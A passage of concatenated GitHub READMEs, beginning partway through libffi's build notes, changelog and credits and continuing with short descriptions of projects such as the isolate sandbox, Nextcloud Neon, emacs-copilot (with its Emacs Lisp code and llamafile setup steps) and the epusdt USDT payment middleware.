If you want to enable extra run-time debugging checks use the the --enable-debug configure switch. This is useful when your program dies mysteriously while using libffi.

Another useful configure switch is --enable-purify-safety. Using this will add some extra code which will suppress certain warnings when you are using Purify with libffi. Only use this switch when using Purify, as it will slow down the library.

If you don't want to build documentation, use the --disable-docs configure switch.

It's also possible to build libffi on Windows platforms with Microsoft's Visual C++ compiler. In this case, use the msvcc.sh wrapper script during configuration like so:

path/to/configure CC=path/to/msvcc.sh CXX=path/to/msvcc.sh LD=link CPP="cl -nologo -EP" CPPFLAGS="-DFFI_BUILDING_DLL"

For 64-bit Windows builds, use CC="path/to/msvcc.sh -m64" and CXX="path/to/msvcc.sh -m64". You may also need to specify --build appropriately.

It is also possible to build libffi on Windows platforms with the LLVM project's clang-cl compiler, like below:

path/to/configure CC="path/to/msvcc.sh -clang-cl" CXX="path/to/msvcc.sh -clang-cl" LD=link CPP="clang-cl -EP"

When building with MSVC under a MingW environment, you may need to remove the line in configure that sets 'fix_srcfile_path' to a 'cygpath' command. ('cygpath' is not present in MingW, and is not required when using MingW-style paths.)

To build static library for ARM64 with MSVC using visual studio solution, msvc_build folder have aarch64/Ffi_staticLib.sln required header files in aarch64/aarch64_include/

SPARC Solaris builds require the use of the GNU assembler and linker. Point AS and LD environment variables at those tool prior to configuration.

For iOS builds, the libffi.xcodeproj Xcode project is available.

Configure has many other options. Use configure --help to see them all.

Once configure has finished, type "make". Note that you must be using GNU make. You can ftp GNU make from ftp.gnu.org:/pub/gnu/make .

To ensure that libffi is working as advertised, type "make check". This will require that you have DejaGNU installed.

To install the library and header files, type make install.

History

See the git log for details at http://github.com/libffi/libffi.

TBD - TBD
    Add support for wasm32.
    Add support for aarch64 branch target identification (bti).
    Add support for ARCv3: ARC32 & ARC64.
    Add support for HPPA64, and many HPPA fixes.
    Fixes for AIX, sparc64, and x86 Darwin fixes.

3.4.4 Oct-23-2022
    Important aarch64 fixes, including support for linux builds
      with Link Time Optimization (-flto).
    Fix x86 stdcall stack alignment.
    Fix x86 Windows msvc assembler compatibility.
    Fix moxie and or1k small structure args.

3.4.3 Sep-19-2022
    All struct args are passed by value, regardless of size, as per ABIs.
    Enable static trampolines for Cygwin.
    Add support for Loongson's LoongArch64 architecture.
    Fix x32 static trampolines.
    Fix 32-bit x86 stdcall stack corruption.
    Fix ILP32 aarch64 support.

3.4.2 Jun-28-2021
    Add static trampoline support for Linux on x86_64 and ARM64.
    Add support for Alibaba's CSKY architecture.
    Add support for Kalray's KVX architecture.
    Add support for Intel Control-flow Enforcement Technology (CET).
    Add support for ARM Pointer Authentication (PA).
    Fix 32-bit PPC regression.
    Fix MIPS soft-float problem.
    Enable tmpdir override with the $LIBFFI_TMPDIR environment variable.
    Enable compatibility with MSVC runtime stack checking.
    Reject float and small integer argument in ffi_prep_cif_var().
      Callers must promote these types themselves.

3.3 Nov-23-2019
    Add RISC-V support.
    New API in support of GO closures.
    Add IEEE754 binary128 long double support for 64-bit Power
    Default to Microsoft's 64 bit long double ABI with Visual C++.
    GNU compiler uses 80 bits (128 in memory) FFI_GNUW64 ABI.
    Add Windows on ARM64 (WOA) support.
    Add Windows 32-bit ARM support.
    Raw java (gcj) API deprecated.
    Add pre-built PDF documentation to source distribution.
    Many new test cases and bug fixes.

3.2.1 Nov-12-2014
    Build fix for non-iOS AArch64 targets.

3.2 Nov-11-2014
    Add C99 Complex Type support (currently only supported on
      s390).
    Add support for PASCAL and REGISTER calling conventions on x86
      Windows/Linux.
    Add OpenRISC and Cygwin-64 support.
    Bug fixes.

3.1 May-19-2014
    Add AArch64 (ARM64) iOS support.
    Add Nios II support.
    Add m88k and DEC VAX support.
    Add support for stdcall, thiscall, and fastcall on non-Windows
      32-bit x86 targets such as Linux.
    Various Android, MIPS N32, x86, FreeBSD and UltraSPARC IIi
      fixes.
    Make the testsuite more robust: eliminate several spurious
      failures, and respect the $CC and $CXX environment variables.
    Archive off the manually maintained ChangeLog in favor of git
      log.

3.0.13 Mar-17-2013
    Add Meta support.
    Add missing Moxie bits.
    Fix stack alignment bug on 32-bit x86.
    Build fix for m68000 targets.
    Build fix for soft-float Power targets.
    Fix the install dir location for some platforms when building
      with GCC (OS X, Solaris).
    Fix Cygwin regression.

3.0.12 Feb-11-2013
    Add Moxie support.
    Add AArch64 support.
    Add Blackfin support.
    Add TILE-Gx/TILEPro support.
    Add MicroBlaze support.
    Add Xtensa support.
    Add support for PaX enabled kernels with MPROTECT.
    Add support for native vendor compilers on
      Solaris and AIX.
    Work around LLVM/GCC interoperability issue on x86_64.

3.0.11 Apr-11-2012
    Lots of build fixes.
    Add support for variadic functions (ffi_prep_cif_var).
    Add Linux/x32 support.
    Add thiscall, fastcall and MSVC cdecl support on Windows.
    Add Amiga and newer MacOS support.
    Add m68k FreeMiNT support.
    Integration with iOS' xcode build tools.
    Fix Octeon and MC68881 support.
    Fix code pessimizations.

3.0.10 Aug-23-2011
    Add support for Apple's iOS.
    Add support for ARM VFP ABI.
    Add RTEMS support for MIPS and M68K.
    Fix instruction cache clearing problems on
      ARM and SPARC.
    Fix the N64 build on mips-sgi-irix6.5.
    Enable builds with Microsoft's compiler.
    Enable x86 builds with Oracle's Solaris compiler.
    Fix support for calling code compiled with Oracle's Sparc
      Solaris compiler.
    Testsuite fixes for Tru64 Unix.
    Additional platform support.

3.0.9 Dec-31-2009
    Add AVR32 and win64 ports.  Add ARM softfp support.
    Many fixes for AIX, Solaris, HP-UX, *BSD.
    Several PowerPC and x86-64 bug fixes.
    Build DLL for windows.

3.0.8 Dec-19-2008
    Add *BSD, BeOS, and PA-Linux support.

3.0.7 Nov-11-2008
    Fix for ppc FreeBSD.
    (thanks to Andreas Tobler)

3.0.6 Jul-17-2008
    Fix for closures on sh.
    Mark the sh/sh64 stack as non-executable.
    (both thanks to Kaz Kojima)

3.0.5 Apr-3-2008
    Fix libffi.pc file.
    Fix #define ARM for IcedTea users.
    Fix x86 closure bug.

3.0.4 Feb-24-2008
    Fix x86 OpenBSD configury.

3.0.3 Feb-22-2008
    Enable x86 OpenBSD thanks to Thomas Heller, and
      x86-64 FreeBSD thanks to Björn König and Andreas Tobler.
    Clean up test instruction in README.

3.0.2 Feb-21-2008
    Improved x86 FreeBSD support.
    Thanks to Björn König.

3.0.1 Feb-15-2008
    Fix instruction cache flushing bug on MIPS.
    Thanks to David Daney.

3.0.0 Feb-15-2008
    Many changes, mostly thanks to the GCC project.
    Cygnus Solutions is now Red Hat.

  [10 years go by...]

1.20 Oct-5-1998
    Raffaele Sena produces ARM port.

1.19 Oct-5-1998
    Fixed x86 long double and long long return support.
    m68k bug fixes from Andreas Schwab.
    Patch for DU assembler compatibility for the Alpha from Richard
      Henderson.

1.18 Apr-17-1998
    Bug fixes and MIPS configuration changes.

1.17 Feb-24-1998
    Bug fixes and m68k port from Andreas Schwab. PowerPC port from
    Geoffrey Keating. Various bug x86, Sparc and MIPS bug fixes.

1.16 Feb-11-1998
    Richard Henderson produces Alpha port.

1.15 Dec-4-1997
    Fixed an n32 ABI bug. New libtool, auto* support.

1.14 May-13-97
    libtool is now used to generate shared and static libraries.
    Fixed a minor portability problem reported by Russ McManus
    <mcmanr@eq.gs.com>.

1.13 Dec-2-1996
    Added --enable-purify-safety to keep Purify from complaining
      about certain low level code.
    Sparc fix for calling functions with < 6 args.
    Linux x86 a.out fix.

1.12 Nov-22-1996
    Added missing ffi_type_void, needed for supporting void return
      types. Fixed test case for non MIPS machines. Cygnus Support
      is now Cygnus Solutions.

1.11 Oct-30-1996
    Added notes about GNU make.

1.10 Oct-29-1996
    Added configuration fix for non GNU compilers.

1.09 Oct-29-1996
    Added --enable-debug configure switch. Clean-ups based on LCLint
    feedback. ffi_mips.h is always installed. Many configuration
    fixes. Fixed ffitest.c for sparc builds.

1.08 Oct-15-1996
    Fixed n32 problem. Many clean-ups.

1.07 Oct-14-1996
    Gordon Irlam rewrites v8.S again. Bug fixes.

1.06 Oct-14-1996
    Gordon Irlam improved the sparc port.

1.05 Oct-14-1996
    Interface changes based on feedback.

1.04 Oct-11-1996
    Sparc port complete (modulo struct passing bug).

1.03 Oct-10-1996
    Passing struct args, and returning struct values works for
    all architectures/calling conventions. Expanded tests.

1.02 Oct-9-1996
    Added SGI n32 support. Fixed bugs in both o32 and Linux support.
    Added "make test".

1.01 Oct-8-1996
    Fixed float passing bug in mips version. Restructured some
    of the code. Builds cleanly with SGI tools.

1.00 Oct-7-1996
    First release. No public announcement.

Authors & Credits

libffi was originally written by Anthony Green green@moxielogic.com.

The developers of the GNU Compiler Collection project have made innumerable valuable contributions. See the ChangeLog file for details.

Some of the ideas behind libffi were inspired by Gianni Mariani's free gencall library for Silicon Graphics machines.

The closure mechanism was designed and implemented by Kresten Krab Thorup.

Major processor architecture ports were contributed by the following developers:

aarch64             Marcus Shawcroft, James Greenhalgh
alpha               Richard Henderson
arc                 Hackers at Synopsis
arm                 Raffaele Sena
avr32               Bradley Smith
blackfin            Alexandre Keunecke I. de Mendonca
cris                Simon Posnjak, Hans-Peter Nilsson
csky                Ma Jun, Zhang Wenmeng
frv                 Anthony Green
ia64                Hans Boehm
kvx                 Yann Sionneau
loongarch64         Cheng Lulu, Xi Ruoyao, Xu Hao,
                    Zhang Wenlong, Pan Xuefeng
m32r                Kazuhiro Inaoka
m68k                Andreas Schwab
m88k                Miod Vallat
metag               Hackers at Imagination Technologies
microblaze          Nathan Rossi
mips                Anthony Green, Casey Marshall
mips64              David Daney
moxie               Anthony Green
nios ii             Sandra Loosemore
openrisc            Sebastian Macke
pa                  Randolph Chung, Dave Anglin, Andreas Tobler
pa64                Dave Anglin
powerpc             Geoffrey Keating, Andreas Tobler,
                    David Edelsohn, John Hornkvist
powerpc64           Jakub Jelinek
riscv               Michael Knyszek, Andrew Waterman, Stef O'Rear
s390                Gerhard Tonn, Ulrich Weigand
sh                  Kaz Kojima
sh64                Kaz Kojima
sparc               Anthony Green, Gordon Irlam
tile-gx/tilepro     Walter Lee
vax                 Miod Vallat
wasm32              Hood Chatham, Brion Vibber, Kleis Auke Wolthuizen
x86                 Anthony Green, Jon Beniston
x86-64              Bo Thorsen
xtensa              Chris Zankel

Jesper Skov and Andrew Haley both did more than their fair share of stepping through the code and tracking down bugs.

Thanks also to Tom Tromey for bug fixes, documentation and configuration help.

Thanks to Jim Blandy, who provided some useful feedback on the libffi interface.

Andreas Tobler has done a tremendous amount of work on the testsuite.

Alex Oliva solved the executable page problem for SElinux.

The list above is almost certainly incomplete and inaccurate. I'm happy to make corrections or additions upon request.

If you have a problem, or have found a bug, please file an issue on our issue tracker at https://github.com/libffi/libffi/issues.

The author can be reached at green@moxielogic.com.

To subscribe/unsubscribe to our mailing lists, visit: https://sourceware.org/mailman/listinfo/libffi-announce https://sourceware.org/mailman/listinfo/libffi-discuss

ioi/isolate

2024-01-04T01:26:56Z

Sandbox for securely executing untrusted programs

isolate

Isolate is a sandbox built to safely run untrusted executables, offering them a limited-access environment and preventing them from affecting the host system. It takes advantage of features specific to the Linux kernel, like namespaces and control groups.

Isolate was developed by Martin Mareš (mj@ucw.cz) and Bernard Blackham (bernard@blackham.com.au), who still maintain it. Several other people contributed patches for features and bug fixes (see Git history for a list). Thanks!

Originally, Isolate was a part of the Moe Contest Environment, but it evolved to a separate project used by different contest systems, most prominently CMS. It now lives at GitHub, where you can submit bug reports and feature requests.

If you are interested in more details, please read Martin's and Bernard's paper presented at the IOI Conference. Also, Isolate's manual page is available online.

To compile Isolate, you need the headers for the libcap library (usually available in a libcap-dev package).

You may need a2x (found in AsciiDoc) for building manual. But if you only want the isolate binary, you can just run make isolate

estheroche/Starknet-Staking-Dapp

2024-01-04T01:27:20Z

brunokim/complej

2024-01-04T01:27:38Z

Complex networks library written in Clojure

iggy-rs/iggy-cpp-client

2024-01-03T01:27:11Z

Lightweight C++ client for Iggy.rs

sisaha9/grpc_vendor

2024-01-03T01:27:11Z

vojtajina/node-di

2024-01-03T01:27:15Z

Dependency Injection framework for Node.js

atom/tabs

2024-01-03T01:27:15Z

Tabs in Atom

jaysomani/firstspot

2024-01-03T01:27:38Z

FirstSpot an heven for travellers who love to travel all around the world

FirstSpot (Heven for Travellers)

PROJECT DESCRIPTION AND OUTLINE

=> Introduction
Our website named, First spot is designed for the same, tourists can now explore new destinations where a guide will always be there to help you explore new paths and you can create your own paths as well. Planning a multi-city trip that not only helps you relax but also stirs in an extra element of excitement since you get to explore new destinations on the go.

=> About Introduction and Techniques
• Search with filters- A search filter is a specific attribute a tourist can use to refine the search results. Customers are not always sure of what they want for which we are providing this feature where you can choose your tourist guide with filters where you can sort them as per your preferences such as by user ratings, alphabetical order and as per your budget.

• Login/Sign up- Clicking ‘Sign Up’ button must invoke a Sign Up form. Sign Up form consists of two registration options that must be toggled by using tabs. Tourist Sign-Up option must be selectable for registration of a tourist user profile. Tourist Guide Sign-Up option must be selectable for registration of a Tourist Guide user profile.

• Feeling lucky- Feeling lucky is an additional features that keeps our users thinking about, what spot to go next. It gives them some most random location to pack their bags and go on for an adventurous journey.

• Explore- Explore is the unique feature of our website which help visitors to create their own route apart from the premade routes in this feature visitor will be able to create their own route to their destination and if visitor need an suggestion to Explore they can also contact the verified guide and with their guidance can create their safe and happy journey

• Predefined routes- Pre-defined routes are the routes that are already defined by our guides, so you don't have to go through the hustle of creating your own route and spending hours in managing the timings.

• Help from Tourist guides- You can choose your own tourist guide who can help you create the most convenient routes for better exploring. They will always be available in chat to solve your queries regarding any paths or destination

=> Objective of the Work
The Primary Aim of our website to make it easy for the tourists to Explore, manage plans and contact with popular tourists guide to make their trip easy, convenient and safe.

⭐ How to get started with open source?

You can refer to the following articles on the basics of Git and Github.

Contributing 👨‍💻

💥 How to contribute

Take a look at the existing Issues or create a new issue!
Fork the Repo. Then, create a branch for any issue that you are working on. Finally, commit your work.
Create a Pull Request (PR), which will be promptly reviewed and given suggestions for improvements by the community.
Add screenshots or screen captures to your Pull Request to help us understand the effects of the changes proposed in your PR.
DON'T CREATE PRs WITHOUT CREATING ISSUE AND GETTING ASSIGNED

⭐ How to make a pull request (PR)

1. Start by making a Fork of the firstspot repository. Click on the Fork symbol at the top right corner.

2. Clone your new fork of the repository in the terminal/CLI on your computer with the following command:

git clone https://github.com/<your-github-username>/firstspot

3. Navigate to the newly created firstspot project directory:

cd firstspot

4. Set upstream command:

git remote add upstream https://github.com/jaysomani/firstspot

5. Create a new branch:

git checkout -b YourBranchName

6. Sync your fork or your local repository with the origin repository:

In your forked repository, click on "Fetch upstream"
Click "Fetch and merge"

7. Make your changes to the source code.

8. Stage your changes and commit:

⚠️ Make sure not to run the commands git add . or git add *. Instead, stage your changes for each file/folder

git add public

git commit -m "<your_commit_message>"

9. Push your local commits to the remote repository:

git push origin YourBranchName

10. Create a Pull Request!

11. Congratulations! You've made your first contribution to firstspot! 🙌🏼

JAYESHBATRA/Virtuo-Learn

2024-01-03T01:27:38Z

Star-Admin-2- Free-Bootstrap-Admin-Template

Star Admin2 Free Bootstrap Admin Template

Star Admin 2 Free is an open-source, admin dashboard template built with Bootstrap 5 created by BootstrapDash.

Preview

Download and installation

1 - Install node package. If you don’t know the installation steps, please click here.

2 - Click the Clone or Download button in GitHub and download as a ZIP file or you can enter the command git clone https://github.com/BootstrapDash/star-admin2-free-admin-template.git in your terminal to get a copy of this template.

3 - After the files have been downloaded you will get a folder with all the required files

4 - Open your terminal (Run as Administrator). You can install all the dependencies in the template by running the command npm install. All the required files are in the node modules. If you didn't run with admin authorities, you can see errors.

5 - Find the file named index.html, check what all components you need. Open the file in a text editor and you can start editing.

6 - Now that your project has now kick-started, all you need to do now is to code, code, and code to your heart's content.

Star Admin 2 Free is a free admin dashboard template built with Bootstrap 5. We took the original Star Admin Pro and gave it a design overhaul along with newly written code to create our best template yet. This is a modern-looking dashboard with a clean and elegant design. The template is well crafted, with all the components neatly and carefully designed and arranged within the template. Star Admin 2 Free comes with a clean and well-commented code that makes it easy to work with the template. Thus making it an ideal pick for jump-starting your project.

Browser Support:

Star Admin 2 Free is designed to work flawlessly with all the latest and modern web browsers.

License Information:

Star Admin 2 Free is released under MIT license. This is a free Bootstrap 5 admin template developed from BootstrapDash. Feel free to download, use, share, and get creative with it.

How to Contribute?:

We love your contributions and we welcome them wholeheartedly. We believe the more the merrier. To contribute make sure you have Node.js and npm installed. Now run the command gulp --version. If the command returns with the Gulp version number, it means you have Gulp installed. If not you need to run the command npm install --global gulp-cli to install Gulp.

After Gulp has been installed, follow the steps below to contribute.
1 - Fork and clone the repo of Star Admin 2 Free
2 - Run the command npm install to install all the dependencies.
3 - Enter the command gulp serve. This will open Star Admin 2 Free in your default browser.
4 - Make your valuable contribution
5 - Submit a pull request

Do you need a template with more features and functionalities? Check out the premium version of Star Admin 2! Visit https://www.bootstrapdash.com for more admin templates.

nextcloud/neon

2024-01-03T01:27:59Z

A framework for building convergent cross-platform Nextcloud clients using Flutter.

Neon

A framework for building convergent cross-platform Nextcloud clients using Flutter.

The goals of Neon

The Neon project has three main goals:

The Neon framework does the heavy lifting for Nextcloud client developers. Neon already handles the authentication flow and manages data requests and caching. This means that developers can reuse a lot of the code and do not need to reinvent the wheel.
The Neon app is a cross-platform Nextcloud client that runs on iOS, Android, macOS, Windows, Linux and Web. We already support Android and Linux with the other platforms being work in progress.
The Neon app is a multi client app. This means that you can have multiple clients in the same mobile app. It enables seamless switching between multiple apps as Nextcloud users have enjoyed on the web forever.

Current problems with other clients

There are many clients that are designed to run exclusively on a single platform or device type. They all have different code bases, which makes feature parity and maintenance much more difficult.
The user experience and features differ significantly from platform to platform, which leads to frustration. This particularly affects mobile devices running Linux (e.g. postmarketOS). There is no suitable client on this platform at all. Using the desktop Linux client for file synchronization would probably work, but it still lacks almost all the features available on e.g. Android and the client is not converging to the needs of a mobile screens.
Even on feature-rich platforms, features are spread across multiple apps, making it more complicated for the user who simply wants to get the most out of their Nextcloud server on their device.

How Neon as a framework tries to solve them

The Neon project uses Dart and Flutter to help mobile client developers building apps. Flutter allows us to build convergent cross-platform clients that feel native. We are a 100% FOSS framework and do not rely on any proprietary libraries making it easy for developers to publish their apps in places like the F-Droid store. We provide a generated Nextcloud Dart client that is generated from the new OpenAPI specifications shipped with Nextcloud and is already being used by other Dart and Flutter projects. Gone are the days of looking at the PHP code and implementing an API client by hand which can be time-consuming and very error-prone.

We provide abstractions, common utilities and prebuilt UI components (called Widgets in Flutter) that can be re-used. This allows Neon to make developing a new Nextcloud client as easy as adding a few custom UI elements and the necessary state management, while everything else is already taken care of for you.

Contributing

We encourage every client developer to contribute their app implementation back into Neon. This way the app developers can choose from a large set of clients to enable. Check out our contributing docs to get started with developing with Neon.

We have a lot of documentation from helping you set up your development environment to our guidelines. Please make sure to read them before starting to contribute.

Development and support

We have a Matrix space where you can ask questions: https://matrix.to/#/#nextcloud-neon:matrix.org

Features

See here for screenshots.

✔ Supported
🚧 Work in progress
🚀 Planned

App	Status
Dashboard	✔
Files	✔
News	✔
Notes	✔
Notifications	✔
Activity	🚀
Calendar	🚀
Contacts	🚀
Cookbook	🚀
Photos	🚀
Talk	🚀
Tasks	🚀

Platform support

Platform	Progress
Android	✔
iOS	🚧
MacOS	🚧
Linux	✔
Windows	🚀
Web	🚧

Erpnext-Setup/erpnext14-with-github-actions

2024-01-03T01:28:18Z

Docker Official Image packaging for golang

https://github.com/docker-library/golang

Maintained by: the Docker Community

This is the Git repo of the Docker "Official Image" for golang (not to be confused with any official golang image provided by golang upstream). See the Docker Hub page for the full readme on how to use this Docker image and for information regarding contributing and issues.

The full image description on Docker Hub is generated/maintained over in the docker-library/docs repository, specifically in the golang directory.

See a change merged here that doesn't show up on Docker Hub yet?

For more information about the full official images change lifecycle, see the "An image's source changed in Git, now what?" FAQ entry.

For outstanding golang image PRs, check PRs with the "library/golang" label on the official-images repository. For the current "source of truth" for golang, see the library/golang file in the official-images repository.

Build	Status	Badges	(per-arch)

pro-whitehatjr/PRO-C217-Project-Solution

2024-01-03T01:28:57Z

nileshtrivedi/portal

2024-01-03T01:28:59Z

Open-source alternative to circle.so

jart/emacs-copilot

2024-01-03T01:29:05Z

Large language model code completion for Emacs

Emacs Copilot

https://github.com/jart/emacs-copilot/assets/49262/1a79d4e4-9622-452e-9944-950c6f21d67f

The copilot-complete function demonstrates that ~100 lines of LISP is all it takes for Emacs to do that thing Github Copilot and VSCode are famous for doing except superior w.r.t. both quality and freedom

Emacs Copilot helps you do pair programming with a local-running LLM that generates code completions within Emacs buffers. The LLM is run as a sub-command that remembers your local editing history on a file by file basis. Tokens stream into your buffer without delay as gen'd and you can hit C-g to interrupt your LLM at any time. History and memory can also be deleted from the LLM's context when deleting code from your Emacs buffer that matches up verbatim. Copilot is language agnostic and your programming language is determed by file extension

One really good LLM right now is WizardCoder 34b since it scores the same as GPT-4 on HumanEval. You need a computer like a Mac Studio M2 Ultra in order to use it. If you have a mere Macbook Pro, then try the Q3 version. If you have a modest PC then you could consider downloading the WizardCoder-Python-13b llamafile since it's almost as good, and will even go acceptably fast on CPU-only systems having at least AVX2 and 2200 MT/s RAM. If you're even more strapped for compute and use things like Raspberry Pi, then give Phi-2 a spin

To get started, try writing yourself the first line of a function. For example, you might open up a file in your editor named hello.c and then type:

bool is_prime(int x) {

Then place your caret at the end of the line, and press C-c C-k to hand over control to your LLM, which should generate the rest of the function implementation for you. Things are also tuned so the LLM is likely to stop as soon as a function is made. Explanations and other kind of ELI5 commentary is avoided too.

Later on, if you were to write something like this:

int main() {
  for (int i = 0; i < 100;

And ask your LLM to complete that, then your LLM will likely recall that you two wrote an is_prime() function earlier, even though it's only considering those two lines in the current instruction. You'll most likely then see it decide to generate code to print the primes

Reference Implementation

If you've downloaded your LLM (see below) then all you really need is to copy and paste this code into an Emacs buffer and run M-x eval-buffer. You'll want to tune the code to your own personal taste. That's why it's being presented in full as a succinct code example here.

(defun copilot-complete ()
  (interactive)
  (let* ((spot (point))
         (inhibit-quit t)
         (curfile (buffer-file-name))
         (cash (concat curfile ".cache"))
         (hist (concat curfile ".prompt"))
         (lang (file-name-extension curfile))

         ;; extract current line, to left of caret
         ;; and the previous line, to give the llm
         (code (save-excursion
                 (dotimes (i 2)
                   (when (> (line-number-at-pos) 1)
                     (previous-line)))
                 (beginning-of-line)
                 (buffer-substring-no-properties (point) spot)))

         ;; create new prompt for this interaction
         (system "\
You are an Emacs code generator. \
Writing comments is forbidden. \
Writing test code is forbidden. \
Writing English explanations is forbidden. ")
         (prompt (format
                  "[INST]%sGenerate %s code to complete:[/INST]\n```%s\n%s"
                  (if (file-exists-p cash) "" system) lang lang code)))

    ;; iterate text deleted within editor then purge it from prompt
    (when kill-ring
      (save-current-buffer
        (find-file hist)
        (dotimes (i 10)
          (let ((substring (current-kill i t)))
            (when (and substring (string-match-p "\n.*\n" substring))
              (goto-char (point-min))
              (while (search-forward substring nil t)
                (delete-region (- (point) (length substring)) (point))))))
        (save-buffer 0)
        (kill-buffer (current-buffer))))

    ;; append prompt for current interaction to the big old prompt
    (write-region prompt nil hist 'append 'silent)

    ;; run llamafile streaming stdout into buffer catching ctrl-g
    (with-local-quit
      (call-process "wizardcoder-python-34b-v1.0.Q5_K_M.llamafile"
                    nil (list (current-buffer) nil) t
                    "--prompt-cache" cash
                    "--prompt-cache-all"
                    "--silent-prompt"
                    "--temp" "0"
                    "-c" "1024"
                    "-ngl" "35"
                    "-r" "```"
                    "-r" "\n}"
                    "-f" hist))

    ;; get rid of most markdown syntax
    (let ((end (point)))
      (save-excursion
        (goto-char spot)
        (while (search-forward "\\_" end t)
          (backward-char)
          (delete-backward-char 1 nil)
          (setq end (- end 1)))
        (goto-char spot)
        (while (search-forward "```" end t)
          (delete-backward-char 3 nil)
          (setq end (- end 3))))

      ;; append generated code to prompt
      (write-region spot end hist 'append 'silent))))

Emacs Download Link

If you don't have Emacs installed, or you use a platform like Windows where it's normally difficult to obtain, then here's a single-file build of Emacs that (like llamafile) is directly runnable and needn't be installed.

https://cosmo.zip/pub/cosmos/bin/emacs

See the Gotchas below if you have trouble running it. See also the Supported OSes and CPUs list too.

LLM Download Links

Here are some LLMs that are known to work reasonably well with Emacs Copilot, that are freely available to download online. They're all good, but the biggest one is the best one. Choose the size that's appropriate for your hardware.

Model	Size	License	llamafile
WizardCoder-Python-34b (Q5)	23.9 GB	LLaMA 2	wizardcoder-python-34b-v1.0.Q5_K_M.llamafile
WizardCoder-Python-34b (Q3)	16.3 GB	LLaMA 2	wizardcoder-python-34b-v1.0.Q3_K_M.llamafile
WizardCoder-Python-13b	7.33 GB	LLaMA 2	wizardcoder-python-13b-main.llamafile
Phi-2	2.09 GB	microsoft-research-license	phi-2.Q5_K_M.llamafile

Be sure to chmod +x your llamafile executable after you download it. Then consider placing it on the system path. If you have any trouble running the llamafile, then see the Gotchas section.

Cache files

If you decide to switch models, then be sure to delete all the FILE.cache files that got generated on your local filesystem.

find . -name \*.cache | xargs rm -f

You can also tune the Emacs LISP code above to just not use prompt caching at all, by removing those flags. That might have a negative impact on code completion latency though. On Apple Metal GPU, which has extremely fast prompt loading, the slowdown might be ~1 second, but for systems that need CPU inference it could be significantly higher.

Gotchas

On macOS with Apple Silicon you need to have Xcode installed for llamafile to be able to bootstrap itself.

If you use zsh and have trouble running llamafile, try saying sh -c ./llamafile. This is due to a bug that was fixed in zsh 5.9+. The same is the case for Python subprocess, old versions of Fish, etc.

On some Linux systems, you might get errors relating to run-detectors or WINE. This is due to binfmt_misc registrations. You can fix that by adding an additional registration for the APE file format llamafile uses:

sudo wget -O /usr/bin/ape https://cosmo.zip/pub/cosmos/bin/ape-$(uname -m).elf
sudo chmod +x /usr/bin/ape
sudo sh -c "echo ':APE:M::MZqFpD::/usr/bin/ape:' >/proc/sys/fs/binfmt_misc/register"
sudo sh -c "echo ':APE-jart:M::jartsr::/usr/bin/ape:' >/proc/sys/fs/binfmt_misc/register"

As mentioned above, on Windows you may need to rename your llamafile by adding .exe to the filename.

Also as mentioned above, Windows also has a maximum file size limit of 4GB for executables. The LLaVA server executable above is just 30MB shy of that limit, so it'll work on Windows, but with larger models like WizardCoder 13B, you need to store the weights in a separate file. An example is provided above; see "Using llamafile with external weights."

On WSL, it's recommended that the WIN32 interop feature be disabled:

sudo sh -c "echo -1 > /proc/sys/fs/binfmt_misc/WSLInterop"

On any platform, if your llamafile process is immediately killed, check if you have CrowdStrike and then ask to be whitelisted.

Supported OSes and CPUs

llamafile supports the following operating systems, which require a minimum stock install:

Linux 2.6.18+ (ARM64 or AMD64) i.e. any distro RHEL5 or newer
Darwin (macOS) 23.1.0+ [1] (ARM64 or AMD64, with GPU only supported on ARM64)
Windows 8+ (AMD64)
FreeBSD 13+ (AMD64, GPU should work in theory)
NetBSD 9.2+ (AMD64, GPU should work in theory)
OpenBSD 7+ (AMD64, no GPU support)

llamafile supports the following CPUs:

AMD64 microprocessors must have SSSE3. Otherwise llamafile will print an error and refuse to run. This means that if you have an Intel CPU, it needs to be Intel Core or newer (circa 2006+), and if you have an AMD CPU, then it needs to be Bulldozer or newer (circa 2011+). If you have a newer CPU with AVX, or better yet AVX2, then llamafile will utilize your chipset features to go faster. There is no support for AVX512+ runtime dispatching yet.
ARM64 microprocessors must have ARMv8a+. This means everything from Apple Silicon to 64-bit Raspberry Pis will work, provided your weights fit into memory.

[1] Darwin kernel versions 15.6+ should be supported, but we currently have no way of testing that.

A note about models

The example llamafiles provided above should not be interpreted as endorsements or recommendations of specific models, licenses, or data sets on the part of Mozilla.

rougier/nano-agenda

2024-01-03T01:29:05Z

A minimal org agenda for Emacs

GNU Emacs / N Λ N O Agenda

N Λ N O agenda is a minimal view of your org agenda files. It displays a calendar view of current month (or the month corresponding to the current selected date) alongside a view of your agenda displaying timestamped entries.

Kyure-A/jobcan.el

2024-01-03T01:29:05Z

Managing jobcan in Emacs

#+STARTUP: content #+STARTUP: fold [[https://github.com/Kyure-A/jobcan][https://img.shields.io/github/tag/Kyure-A/jobcan.svg?style=flat-square]] [[file:LICENSE][https://img.shields.io/github/license/Kyure-A/jobcan.svg?style=flat-square]] [[https://codecov.io/gh/Kyure-A/jobcan?branch=master][https://img.shields.io/codecov/c/github/Kyure-A/jobcan.svg?style=flat-square]] [[https://github.com/Kyure-A/jobcan/actions][https://img.shields.io/github/actions/workflow/status/Kyure-A/jobcan/test.yml.svg?branch=master&style=flat-square]]

jobcan.el

Managing jobcan in Emacs.

** Usage *** Punch in #+begin_src console M-x jobcan-touch #+end_src *** Get information about linked users #+begin_src console M-x jobcan-linked #+end_src *** Status #+begin_src console M-x jobcan-current-status #+end_src ** License This package is licensed by The GNU General Public License verson 3 or later. See [[file:LICENSE][LICENSE]].

glutinum-org/cli

2024-01-04T01:29:39Z

Glutinum.Converter

This is a compiler from .d.ts to F# bindings for Fable.

AdamKormos/SaveMadeEasy

2024-01-03T01:29:51Z

An easy to use, versatile Save/Load System for Godot 4 inspired by the simplicity of Unity's PlayerPrefs. Supports nested variables, Resources, Arrays and encryption.

assimon/epusdt

2024-01-03T01:30:10Z

开源优雅的跨平台usdt收付中间件 Easy Payment USDT——epsdt

Epusdt (Easy Payment Usdt)

项目简介

Epusdt（全称：Easy Payment Usdt）是一个由Go语言编写的私有化部署Usdt支付中间件(Trc20网络)
站长或开发者可通过Epusdt提供的http api集成至您的任何系统，无需过多的配置，仅仅依赖mysql和redis
可实现USDT的在线支付和消息回调，这一切在优雅和顷刻间完成！🎉
私有化搭建使得无需额外的手续费和签约费用，Usdt代币直接进入您的钱包💰
Epusdt 遵守 GPLv3 开源协议!

项目特点

支持私有化部署，无需担心钱包被篡改和吞单😁
Go语言跨平台实现，支持x86和arm芯片架构的win/linux设备
多钱包地址轮询，提高订单并发率
异步队列响应，优雅及高性能
